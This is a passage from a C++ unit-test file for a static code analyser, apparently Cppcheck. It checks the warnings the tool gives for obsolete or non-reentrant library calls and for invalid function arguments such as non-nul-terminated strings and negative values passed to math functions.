\"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. 